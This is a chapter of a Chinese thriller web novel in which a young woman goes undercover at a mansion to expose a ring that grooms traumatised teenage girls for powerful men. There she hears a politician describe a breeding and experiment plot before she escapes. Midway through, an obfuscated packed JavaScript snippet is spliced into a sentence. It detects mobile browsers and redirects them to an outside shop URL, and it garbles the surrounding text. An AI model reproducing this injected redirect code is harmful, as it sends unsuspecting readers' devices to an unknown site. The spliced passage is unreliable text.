如果她接下来要被脱得赤条条地被送去见那些男人,至少也要在发生这一切之前尽量多录一些证据,多打听一些信息。布莱特·希尔送来的人到底有什么特殊之处,她一定要弄清楚。 “亲爱的,难道医生没有跟你解释过任何事情吗?”哥西莱恩仍然在微笑,但是她的眼神一瞬间锐利起来了。 “不,我的意思是说,他有解释过,但是……我只是觉得……怎么会有这样天上掉馅饼的好事呢……” “既然医生跟你解释过了,你就应该知道,我们由始至终都只是希望你跟科迪先生,还有他的哪些朋友们好好谈谈而已。你经历了那么多,你比下面那些没有头脑,傻乎乎的女孩们都要能明白孤单和悲伤的滋味,而像科迪先生这样的人,他们身处这样的高位,身边的人都是为了他们权力和金钱而来的,他们不能相信任何人,也不能冒险向任何人敞开心扉。所以医生才必须要寻找像你这样的独特的女孩来陪陪他们,缓解他们的创伤。毕竟,要走到他们所处的这个位置上,他们要做出很多不得已的选择,他们要背负很多正常人所想象不到的压力——我的意思是,像你这样一个甜美,可爱的女孩,是绝对不会抱着追名逐利的目标接近他们的,这就是为什么他们可以相信你,可以接受你,可以让你接近他们,缓解他们的压力,焦虑,困扰,还有其他那些阻碍他们无法完成职责的负能量。亲爱的,你肩负着这么大的责任,一两件衣服又算得了什么呢?你愿意来到这里,我们已经感到无比的荣幸了,所以当然要送给你礼物啊。” 黎疏眠可以完全肯定,哥西莱恩的这套说辞,必然就是布莱特·希尔将其他那些女孩骗至这样的派对时会用的说辞——但这一次,他知道自己面对的是谁,他知道在屏幕另一边的实际上是Ming,因此他根本没有必要按照诱骗其他女孩的流程来做,所以自己自然也不可能得知这些。 但她也可以肯定,这套说辞完全就是在胡说八道。对涉世未深的女孩来说,这一番话确实很难拒绝,也很难辨明真假——考虑到布莱特·希尔会找的都是那些在成长过程中遭受过丧父创伤的孩子,她们会被这番说辞打动,进而深信不疑的概率是很高的,如果有个别警惕性比较高,没有上当的,估计布莱特·希尔也不会将她们送到这儿来。但问题是,这番说辞能说服那些被骗到这儿来的女孩,却没有揭露她们的真正特殊之处在哪里,黎疏眠只能猜测这或许跟她们所遭受过的创伤有关,她想起了Ming之前因为布莱特·希尔的事情而陷入心理性高热的情形,心想或许这就是这些有钱人想要追求的,来自创伤的真实的痛苦,或许她们就是享受这种活生生地将伤口撕开时他人展露的痛苦——不过是另一种形式的斗兽场,千百年来,人性从来就没有变过。 但就这样还不够,远远不够,她需要能将所有这些与案件有关的人一次性送上绞刑架的证据,而哥西莱恩这含糊其辞的满口谎言根本做不到。她不能止步于此。错过了这一次,就再也没有机会了。除非又把Ming作为诱饵,引诱布莱特·希尔再次抛出一次橄榄枝——但她不能冒着会伤害Ming的风险,她可以承担自己作出的选择和决定带来的后果,但她不能要求别人也承担同样的后果。 “我明白了,”她露出一个羞涩的笑容,神色中有一点点得意却又极力掩饰,还有一点点被提起伤心往事的难过,“嗯……我很乐意跟科迪先生,或者是他的朋友们见见面……虽然我不是一个很会说话的人……但我也会尽力试试看……当然,这不是为了能多拿几件衣服什么的,我只是……只是想尽力帮助他们。” “噢,亲爱的。”哥西莱恩露出一个灿烂的笑容,伸手紧紧地拥抱了她一下,“这正是我想听到的!今天科迪先生不在,但是,你知道吗?一个对他有很大影响力的朋友刚好在这里,正缺一个能跟他聊聊天,让他放松下来的同伴呢。我相信你一定会让他非常满意。当然啦,我们可不能让你就这样去见他,换上这套内衣,再挑一条好看的裙子,丝袜,高跟鞋,我们会让你漂漂亮亮的。当然啦,我相信你也知道,手机是不能带上的,这是为了安全着想,亲爱的,等一会你离开的时候,我保证你会拿回你的手机,一点划痕都不会有。” 她向黎疏眠伸出了手,黎疏眠爽快地将小包里的手机递给了她,那本来就是一个她为了这次行动买的一个二手手机,是个干干净净的裸机,现金付款,卖家是不太好的街区的一家修手机的店面,一看就是专门脱手赃物的窝点。为了避免被人查出来这部手机停留过的地点,她甚至是在停车场才开机插上电话卡的。 “你随便挑衣服。”哥西莱恩看来对她的配合十分满意,“要是有好几件看中的,你不妨随手放在一边,等会或许科迪先生的朋友能说服他让你带走。” “太好了。”黎疏眠随口应道,心里想的却是等会要怎么转移哥西莱恩的注意力,好把录音机从自己的胸罩转移到新的胸罩里,她一边思索着,一边装作兴奋地在衣服中挑选的模样。但此刻,距离这些衣服更近了,她才意识到流光溢彩不过是表象,她能看到一些衣服上轻微的泛黄,有些松脱的钮扣,还有不再明亮的金银织线——这说明这屋子里看似光彩夺目的一切,不过是一场编织多年的幻梦,腐烂恶臭上松垮包着的镀金裹尸布,让这些年不知道多少个走进这儿的心醉神迷的女孩误以为这是他们随手就能拿出来作为礼物的手笔,前赴后继地跌入这残忍的陷阱——这一切会在我这里终结,黎疏眠咬了咬嘴唇,暗自在布料下捏紧了拳头。 “怎么样,亲爱的?”哥西莱恩催促的声音响起。 “这一件吧,”黎疏眠随手从衣服中扯出一条黑色的裙子,连是什么牌子都没来得及看,但哥西莱恩似乎也并不在乎,“这件真好看。” “你的眼光真好,亲爱的,”哥西莱恩虽然还在微笑,但是语气中已经有了一丝不耐烦,“就在这儿换衣服吧。我们可没有一整天的时间呢。等晚点你回来的时候,可以想怎么挑就怎么挑。” “我要去见谁?”黎疏眠问道,在脱掉裙子的时候,她借着裙子的遮掩把录音机迅速从内衣里掏了出来,团在衣服里,扔在脚旁的地上。同时也用话语转移着哥西莱恩的注意力。 “噢,你等会就知道了。”哥西莱恩漫不经心地笑了笑,“要记住,亲爱的,虽然他对科迪先生有很大的影响力,但他也不过就是一个普通男人,你就当他是一个你认识的长辈,随意地相处就行了。” “噢,天啊。”解下项链的时候,黎疏眠假装一个失手,珍珠项链摔到地上,如她所料般挣断了线,滚得到处都是,“这么怎么办——天啊——我的项链——” 她慌张地在地上四处收集着她的珍珠,哥西莱恩脸上闪过一丝不善且不耐烦的神色,最终还是按耐了下来,蹲下身帮她一起捡珍珠,趁她终于转开她那如同秃鹫一般从未离开过黎疏眠的视线的刹那,黎疏眠迅速伸手将录音机从裙子里拿出来,塞进了她此刻正穿着的La Perla的内衣里,眼见哥西莱恩没有马上转过身来,她又迅速舔了一下那颗有定位装置的珍珠,紧接着弹进了衣柜下的空隙中——至少这样能证明她来过这里,假设她出了任何事情的话。黎疏眠不愿意去想那最糟糕的结果,但她最起码希望自己为最糟糕的结果做好了准备。 “我会让人帮你串好的,不用担心。”哥西莱恩到这一刻仍然能装出一副温和的模样,她用一个漂亮的小瓷盘把所有的珍珠都收集了起来,“好了,快穿好衣服,跟我来。” 黎疏眠顺从地照做了。离开房间后,她一路默记着这如同迷宫般走廊的路线——尤其是防火通道的位置——哥西莱恩最终在一扇十分寻常的木门前停了下来,“在这等一会,”她笑着说,打开了门,“他很快就会来见你的。” 门内是个金碧辉煌的套间——就像任何豪华酒店都会有的那种总统套间,首先迎接黎疏眠的是一个会客厅,深色的羊毛地毯,墙上挂着大幅的抽象艺术画作,镀着金边的大理石壁炉,有着冷酷线条的混纺羊毛的白色沙发,左右各通向一个比会客厅小一点的房间,一个是卧室,另一个是书房,黎疏眠的视线在银色的暗纹墙布上细细扫过,最终在同样书房的走廊的墙上发现了那几乎与墙融为一体的手动火警按钮。她转身想打开门看看走廊上的情况,却发现自己进来的那扇木门已经被锁上了。黎疏眠压制住内心一瞬间涌上的恐慌,默默计算着从沙发到按钮的距离,选择了一个能在最短时间内到达的位置,缓缓地坐了下去。 如果杰森的话是真的,那么按下火警的瞬间,所有锁着的房门应该都会自动打开。 她伸手调整了一下胸罩,那蕾丝虽然柔软,却不知怎么地让她的皮肤发痒,她的指尖触碰到柔软布料下那小小的硬物,便用力按了按,感受录音机嵌进肌肤带来的那一点点疼痛,和它运作时的滚烫热量。她需要这一点物理上的知觉来让自己冷静。我为一切可能的后果都做好了准备,她心想,这个录音机是艾莉改造过的,内部插了一张sim卡,随时联网,即便被摧毁,也能把摧毁前一秒录下的内容发出去。知道这个城市的另一头,艾莉正坐在她的电脑前,监控着她的定位,接收着她的录音,这让她感受到了几分安心。 “抱歉,哥西莱恩似乎没有确认你的名字。” 一个低沉而柔软的声音从书房的方向传来,黎疏眠被吓了一跳,惊叫着从沙发上跳起——她的惊吓并不完全来自于眼前这个人的突然出现,而更多是因为这个声音。最近正是美国大选的白热化时期,这个人的声音和样貌几乎是高频率地出现在大量的政治宣传素材中。黎疏眠转过身来,她知道自己有可能会在这里见到一些政治界的权贵,但她从未想过会是这个级别的。 “噢,我很抱歉——”来人露出了他那招牌式的,带着南方特有的朴实魅力的笑容,非常自然地走到了黎疏眠身边,坐下了,“我并不是有意要吓着你的……” “雅斯敏,”黎疏眠按照艾莉的信息上的名字回答道,她的心跳是那么剧烈,几乎都可以被录进录音机里。她直到此时此刻才意识到自己卷入了什么——艾登,艾莉,还有杰森可能以为这只与艾登父亲的谋杀案有关,她和云决明以为这只跟一个牵扯约州政治权贵和未成年女性的□□易网络有关,而背后拉皮条的是一个变态的心理咨询老师,没有一个人在今天以前意识到这究竟是多大的一张网,没有人知道他们在今天之后得知的一切会有多么重要。 艾登会失望,艾莉可能会失望,云决明也可能会失望,她心想。不管我今天录到了什么,这都不是短时间内能够拿出来,呈现在法庭上的证据,更不要提此刻是美国大选的关键时刻。如果此刻他们试图把这个证据交给任何一个法官,黎疏眠在心中苦涩地想到,恐怕他们接下来都会因为各种各样的合理“理由”,在自己的公寓或家中自杀身亡。 “雅斯敏——这个名字很不错。你知道吗?我女儿最喜欢的迪士尼公主就是雅斯敏公主了。”对方的口吻平易近人,仿佛真的是一个长辈正在与晚辈洽谈一般轻松写意,“你多大了,雅斯敏?” “我十六——我的意思是,我十八了,马上就十九岁了。”黎疏眠就像任何一个试图掩盖自己年龄的少女般慌张地回答道。 “你是独自一个人来的?” “啊……嗯。”黎疏眠给出的反应像任何一个此时不知道应该回答实话还是撒谎的少女一般。但她的内心却十分警惕。这样的问题不应该由他这样的身份的人来问出,应该由哥西莱恩这样的级别的人来问——但如果这从一开始就是安排好的,那说明对方想要掌控这个对话的全程,这是某种策略,某种像他这样的政客运用起来轻车熟路的策略。 她为所有可能的结果都做了准备,但她所有设想的结果都比现在低了一个等级,她只能走一步看一步。 “一个人。真是太勇敢了,雅斯敏——当我这么说的时候,你可不要觉得我是在倚老卖老,但我真的见过许多跟你同龄,甚至比你大许多的女孩,都没有你这样的勇气,而且,我非常喜欢你挑选的这条裙子,你的眼光很好,但我不得不说,我以为像你这样的女孩,会选择一个更加活泼,更加粉嫩的颜色——但我猜有时候我们的选择会反应我们的内心,是不是?哥西莱恩有告诉你为什么你会来到这里吗?” 他完全掌握着对话的节奏,让黎疏眠几乎一时之间不知道如何演绎自己的答复,她必须非常专注才能控制住自己脸上的肌肉的细微颤动,不让自己的微表情出卖自己此刻的真实内心——对方正非常专注,非常仔细地注视着她,几乎就像是在检验某种货物一般。 “哥西莱恩说……她说……让我来陪你聊聊天,让你放松一点。然后……如果你愿意,就可以让我带走更多衣服——更多礼物,我的意思是说……” “礼物?当然啦,会有礼物的。”对方没有温度地露出了温暖的笑容,“只要你表现得很好,只要你是个好女孩,雅斯敏,你是个好女孩吗?” “我……我不知道……” “没关系,我们可以来确认这一点。”对方继续保持着那个笑容,黎疏眠曾经在无数的宣传海报上见过他这笑容,但那时她只不过给予匆匆一瞥,此刻却需要全身的力气才能止住双手的颤抖。她一遍又一遍地在脑海中排演一旦引起对方的疑心后的逃跑路线:跨越沙发,按下火警,趁着火警让对方措 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041276|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手不及的时候,从另一边冲到门口,拉开门,向前走三扇门,右转,打开火警通道的门,然后逃跑。运气好的话,对方的保镖——如果有的话,应该会守在门外——应该会先确认他的情况,才会来追她,毕竟哥西莱恩已经确保她身上没有任何能够伤害到眼前这个男人的凶器,这能给她至少跑到火警通道的时间。 她真心地为这一点祈祷。 “我——我有一个问题——”祈祷的同时,黎疏眠也意识到,不能够任由对方掌握对话的节奏,“为什么哥西莱恩会说楼下的那些女孩……嗯……是商品?为什么她们不能来陪你,为什么非得是我——我的意思是说,安德森先生——噢,应该是医生——和哥西莱恩都跟我解释过,但我只是——我只是不太明白。只是像这样陪你聊聊天,真的就可以把这条昂贵的裙子,还有鞋子,所有的这些东西带走吗?还可以得到更多吗?” 对方停顿了一下,黎疏眠知道他正在心中评估,到底可以告诉眼前的这个女孩多少信息。但有一点对方恐怕始料未及——黎疏眠心想——他的知名度让每个美国人都多多少少对他的性格有些了解,黎疏眠也不例外,她知道对方是一个极其擅长让人配合,通过语言和信息影响别人的行为的人,会假借让渡一小部份权力来获得更高的掌控,尽管她还不清楚对方出现在这里,亲自进行这个对话的意图是什么,却不妨碍她利用这一点。 毕竟,此时此刻,从表面上,她不过是一个有点慌张,又有点虚荣的年轻女孩罢了。对方对她的警戒心,和她对对方的警戒心,差别可以容纳下一整个喜马拉雅山脉。 “有些女孩,为了能够成名,为了得到关注,或者是大量的金钱,是愿意付出一切的,亲爱的雅斯敏。”几秒钟后,他终于开口了,“她们会来到这里,因为她们已经明白命运的馈赠自有暗中的价码,而她们也愿意接受这样的价码,这样你情我愿的交易,自然就犹如商品一般。就我个人来说,我认为这样的往来没有意思,寡淡无味,就像是在不同的餐厅一直点同一道菜一样,尽管烹饪的厨子不同,食材也或许来自不一样的地方,但归根结底,仍然是同一道菜。” “所以……你的意思是说……你需要我这样的普通女孩……来……换换口味?” “噢,不,雅斯敏,”对方冰冷冷地大笑了起来,“你误会了。不,你会出现在这里并不是因为那种目的,你是十分特别的,专门被筛选过的——当然了,我并不是不信任医生,只是我更喜欢自己亲自确认,建立关系是很重要的,对我们接下来要做的事情来说。” “什么事情?” “噢,你会知道的。太早知道对你没有好处,孩子,毕竟有时候,即便是医生送来的候选人,也会有最终被证明不合格的时候。而我,就我个人而言,我喜欢事情顺顺利利,漂漂亮亮,干干净净的,所以对你来说,现在这个阶段,你知道得越少,就越好。你能接受这一点吗,雅斯敏?当然了,你会得到补偿的,我会保证你能得到很多礼物,不仅仅是这间房子的几件衣服。” 候选人(Candidate)?黎疏眠思忖道。他用了候选人这个词,就像是某种做实验需要用到的对象一样。这听上去跟□□易相差甚远,医生找来这些受过巨大创伤的女孩,把她们送来这些权贵的宅子里,到底是想要实现什么,如果说按照她之前的设想,是要把这些女孩们的创伤活生生地再撕裂一遍,以求目睹真实的痛苦,这对话的走向似乎并不像。 “但我还是不明白……为什么要这么麻烦?” “没有什么伟大的事业的开端是简单的,亲爱的雅斯敏,而你现在就身处在一个伟大的事业中,相信我。过去所有发生在你身上的一切让你变得如此特别,这就是为什么你会被选中,你会来到这里。” “那……那你需要我做什么?” “也许我们可以从一些简单的问题开始,雅斯敏。告诉我,至今为止对你的人生影响最大的事情是什么?” 黎疏眠假装犹豫了好一会才开口。 “在我四岁的时候,我的父亲去世了……”用艾莉的口吻,艾莉会有的表情,艾莉会用的语气去描述这件事情并不难,艾莉亲自向黎疏眠讲述过整个故事,交织着克制的冷静,猛然爆发的大哭,还有突如其来的不知所措与沉默。黎疏眠看得出来自己是艾莉第一个试图讲述这个故事的对象,因此全程保持着沉默。艾莉的版本与艾登那真实得令人心碎的版本不一样,一个四岁的女孩所能记住的当时的一切都如幻梦般不真实,而大人们若无其事的遮掩则让一切更糟。“那时候……”说到一半,艾莉突然怔住,好半天才恍如梦游般开口,“我甚至觉得,我从来没有拥有过父亲,那只是我幻想出来的一个人,从一开始,他就没有存在过。可同时,我又那么清晰地知道,他会消失,他会不存在,他变成一个漂浮在空中,再也无法触碰到的泡泡,都是我的错。” 黎疏眠一字不差地重复了艾莉的话,痛苦是如此真实,如巨浪般在词与词之间拍打,不需要任何刻意的伪装。但艾莉的痛苦足够锐利吗?足够深刻吗?难道不是每一个走进这个房间,每一个被医生送来的女孩都有同样的丧父经历吗?如果加上被因为丧夫而一蹶不振,失去经济来源的母亲忽视,虐待,打骂,这足够吗?她苦苦思索着,这些人——爱泼斯坦,哥西莱恩,还有被他们邀请来这个宅邸中的权贵,他们到底追求的是什么? 于是她留个一个小小的钩子,语带犹豫的结尾,迅速抬起又低下的眼神。果然,对方马上追问了,“你没有完全说实话,雅斯敏。”他的语气是温柔的责备,带着上位者恩赐般的宽容——我知道你在隐瞒,但我决定给你第二次机会,作为回报,你最好要跟我说真话,“我需要听到全部的事实,我想要知道那些真正改变了你的事情——那些让你成为你的的事情,那些让你即便想一想也会让你心头滴血的回忆——这很重要,亲爱的雅斯敏,这对我,对你所身处的伟大事业来说,很重要。” 在此刻问为什么,是没有意思,也得到不到答案的。黎疏眠转而将精力放在演技上,她犹豫了又犹豫,假装自己在对方温柔又坚定的鼓励中放下了心防,“我上高一的时候在……我鼓起勇气向我的心理咨询老师分享了我的痛苦,我非常信任他,他对我来说就如同取代了我的父亲一般。在那时,他就是我的人生的唯一的依靠,唯一的光芒,然而,他却……” 后面的细节只是她的猜测,凭借的是艾登的猜测和云决明对布莱特·希尔的反应。在云决明因为心理性高热昏迷不醒的时候,她短暂地去看望过他——只有短短的几秒——那时的Ming苍白透明得如同一片夹在被褥间的羽毛,藏在颤抖的眼皮下的是席卷了整个天地,拉枯摧朽的暴风雨。是什么样的痛苦,她记得自己当时悲悯地想着,能让Ming只是听见他的名字,就有如此强烈的应激反应? 他们三个在客厅里做出了种种猜测,穷尽了所有人类的逻辑思考所能给出的可能性,尽管每个人都心知都明,现实一定比他们所猜测的更要黑暗,更要扭曲。但Ming永远不会讲述这段过去,不会对艾登,不会对艾莉,更不会对她。黎疏眠知道,就像那些荷兰黄金时代的画家,用极致精确的光影与质地去描绘刹那永恒的故事,一生的书写都发生在笔触落在纸张之前,只能凭藉那定格的瞬间推测所有的细节。 那会是他一生独自背负的秘密,而此刻,黎疏眠只是一个拙劣的模仿者。但眼前的男人看着她,却像是她终于给出了正确答案一般,不断地点头,微笑,甚至向前倾过身子,像安慰一般抚摸着她的手,肯定着她所说的一切。他的表情仍然平静,克制,好像他就只是一个希望了解眼前女孩过去的和蔼中年男人一样,但他掌心的温热泄漏了他内心的兴奋。 “你没有试图报警吗,亲爱的雅斯敏?”黎疏眠的讲述趋近尾声的时候,他终于开口发问了。“你难道不相信警察能帮你解决这些事情吗?难道你的母亲和朋友都没有劝你报警吗?” 他想知道,如果同样的事情再次发生了,这些女孩有没有能求助的对象,她们是否信任警察,信任司法系统。这就说明,性侵一定是接下来会发生的事情的一环。也说明,他们并不是完全的一块铁板,如果有证据被提交到司法系统,就仍然有击溃他们的机会。 黎疏眠飞快地在心中计算着,同时吞吞吐吐地回答道。“我可能只是觉得……这是很多女生在高中都会遭遇的事情……你知道的,好多女孩上着上着课,肚子就变大了,过段时间,她们就从学校消失了……所以我觉得,可能报警,警察也不会重视。但我也不知道……如果当时事情更严重一点,我应该会报警的。” 对方皱了皱眉头,“我觉得你想的是正确的,雅斯敏,”他低声说,“我对这个国家的司法系统很了解,一个高中女生怀孕了是不会让他们重视的,这只会让你和你的家庭蒙羞。根本没有必要跟他们——” “你的意思是说,我可能会怀孕?”黎疏眠猛地抬起头盯着他,刹那间突然锐利的眼神和语气打了对方一个措手不及,“也许,雅斯敏,我是说,也许。”对方换了一个暧昧的语气说道,“但是要记住我刚才说过的话,这是一个伟大的事业,我向你保证,你所做的一切牺牲都是值得的。” “如果让我怀孕的话,我可不认为这是什么值得的事情。”难道这些权贵想要遭受过创伤的女性为他们代孕?黎疏眠不解地思考着,这完全说不通啊。但她知道怀孕是一个话题突破口,她必须牢牢抓住这一点,从对方的口中套出更多的信息。她能看得出来,眼前这个男人对她的创伤过去非常满意,他想要留住她,控制她,就一定会继续对一些信息让步。 “雅斯敏,亲爱的,你不明白——许多像你这样拥有悲惨过去的女孩都早早接触到了毒品,药物,或者是酒精,这完全损害了她们的身体,让她们无法生下健康的孩子。但你不同——天啊,我是多么敬佩你的勇敢和坚韧,我们非常需要像你这样能从创伤中恢复的精神力量,如果你能生下孩子,想想看这个孩子会有多么坚强?那些我们的士兵在战场上会遭遇的种种的精神问题都不会再是耗费政府数百万美金都无法解决的困扰了,他不会害怕任何创伤,他会毫不犹豫地执行长官的命令——” “但我一个人不可能生出一整支军队。” “我们只需要几个,雅斯敏,不用担心,只要几个。我会确保你得到丰厚的补偿的,你想要多少礼物都可以,我可以让你拥有一栋跟现在这栋一样大的屋子,一样挂满了漂亮衣服的衣帽间,所有你想要的一切,只要开口,都是你的……”对方的声音变得轻柔了,他凑近了黎疏眠,近乎痴迷地将她鬓边滑落的发丝绕到耳后,深情地注视着她,“至于孩子……我们会对他们进行一些实验……不用担心,雅斯敏,是一些安全无害的实验,提取一些血液……”他停顿了一下,像是在斟酌用词,随后语气变得更加笃定,油滑中透着某种历史赋权般的从容,“你要知道,这并不是什么新鲜事。这个国家在八十年代就已经做过类似的研究了。那时候冷战还没结束,我们不知道对手手里有什么样的筹码。心灵感应、异常感知、远程观测——你在报纸上看到的,只是他们愿意让你看到的名字。真正的项目,从来就不在那些能被解密,公开在公众面前的档案里。” 他的呼吸稍微急促了一些,看向黎疏眠的眼神已经彻底改变了。黎疏眠能很清楚地看到欲望正在他的眼底积累——不仅仅是□□,还有对权力,金钱,地位,甚至是比那些更黑暗,更深入人性的渴望,都交织在他毫不掩饰的神色中。他已经确信我是他的掌中之物了,黎疏眠心中警铃大作,手紧紧扣住了沙发的边缘,身体暗自蓄力着。 “政界、军方、学界,我们彼此都很清楚:如果有人天生就比别人多知道一点、多感觉一点,或者能贡献出一些别人所不能贡献的资源。那就意味着他不能只属于自己。国家不能等到危机来临时,才发现有些潜力从未被开发。当年那些实验被叫停,不是因为它们不对,而是因为时代不需要了。现在不一样了。世界又开始变得不稳定,而我们不能再假装不知道某些可能性确实存在。你看了最近的总统大选,你知道是一个怎样的小丑正在演讲台上声嘶力竭地洗脑我们的民众……你能想象那样一个人成为我们的总统吗?我们不能让这种事情发生,是不是?但是人总有老去的一天,为了确保这个国家能一直被掌握在正确的人的手里,为了确保这个国家可以一直强大下去,有些牺牲是必要的,我亲爱的雅斯敏。” 说到最后几个词,他的声音低得几不可闻,脸向黎疏眠逐渐靠近,双手也向她的肩膀抓去,黎疏眠屏住呼吸,直到最后一刻前,她仍然在扮演着一个被这套话术逐渐说服的无知少女,就在对方腐朽的气息即将侵入她的双唇的那一刻,黎疏眠猛地脖颈后仰,在对方因为惊诧而愣住的那一瞬间,紧闭住双眼,狠狠地将脑袋向对方的鼻梁砸去。霎时,她只感到几滴温热的鲜血洒在了她的脸上,耳旁同时响起了那一贯以温文尔雅著称的男人的惨烈的尖叫。就像已经在脑海中排演了上千次般那样,跨越沙发,几乎是两步就冲到了通往书房的走廊上,按下了火警。 火警的效果远比她想象的要更加夸张,尖锐的铃声立刻从大宅的四面八方高昂地响起,几乎能把人的耳朵震聋。那个鼻子正鲜血直冒的男人呆呆地坐在地上,似乎还没明白到底发生了什么事情——但黎疏眠也仅仅来得及给他匆匆的一瞥,她冲到门口,拉开了门,出乎她意料的是,门口根本没有保安,但是从其他房间涌出了两三个赤身裸体,惊慌失措的男人,在走廊上四处张望,黎疏眠用手挡住脸,不顾他们试图弄清楚发生了什么事的大声问询,向前跑过三扇门,右转,打开火警通道的门,然后—— 她冲进了阳光中。